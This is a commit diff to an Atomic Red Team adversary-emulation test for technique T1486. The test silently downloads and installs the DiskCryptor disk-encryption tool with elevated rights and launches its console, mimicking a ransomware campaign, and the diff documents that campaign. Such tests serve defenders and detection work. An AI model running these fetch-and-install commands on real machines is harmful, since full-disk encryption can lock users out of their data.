Update T1486.yaml

atomics/T1486/T1486.yaml

@@ -279,32 +279,31 @@ atomic_tests:
       
 - name: Data Encrypt Using DiskCryptor
   description: |
-    An adversary may use DiskCryptor is an open source encryption solution that offers encryption of all disk partitions, including system partitions.
+    DiskCryptor, an open source encryption utility, can be exploited by adversaries for encrypting all disk partitions, including system partitions. 
+    This tool was identified in a ransomware campaign, as reported on https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/.
+    The documentation for DiskCryptor can be found at https://github.com/DavidXanatos/DiskCryptor. During the installation process, running dcrypt.exe starts the encryption console. 
+    It's important to note that a system reboot is necessary as part of the installation.
   supported_platforms:
   - windows
   input_arguments:
-    DiskCryptor_installer:
-      description: DiskCryptor Install
-      type: path
-      default: 'dcrypt_setup.exe'
     dcrypt_exe:
       description: The dcrypt.exe executable from dcrypt_setup.exe
       type: path
-      default: 'dcrypt/dcrypt.exe'
+      default: 'dcrypt.exe'
   dependency_executor_name: powershell
   dependencies:
   - description: |
       dcrypt_setup will be installed at specified location (#{dcrypt_exe})
     prereq_command: |
-      if (Test-Path "${env:ProgramFiles}/#{dcrypt_exe}") {exit 0} else {exit 1}
+      if (Test-Path "${env:ProgramFiles}/dcrypt/#{dcrypt_exe}") {exit 0} else {exit 1}
     get_prereq_command: |
       Write-Host Downloading DiskCryptor installer
       New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
-      Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1486/src/dcrypt_setup.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\#{DiskCryptor_installer}"
+      Invoke-WebRequest "https://github.com/DavidXanatos/DiskCryptor/releases/download/1.1.846.118/dcrypt_setup_1.1.846.118.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\dcrypt_setup_1.1.846.118.exe"
       Write-Host Install DiskCryptor
-      Start-Process "PathToAtomicsFolder\..\ExternalPayloads\#{DiskCryptor_installer}" -Wait -ArgumentList "/s"
+      Start-Process "PathToAtomicsFolder\..\ExternalPayloads\dcrypt_setup_1.1.846.118.exe" -Wait -ArgumentList "/s"
   executor:
     name: command_prompt
     elevation_required: true
     command: |
-      cd "%PROGRAMFILES%\dcrypt" && dcrypt.exe
+      ""%PROGRAMFILES%\dcrypt"\#{dcrypt_exe}"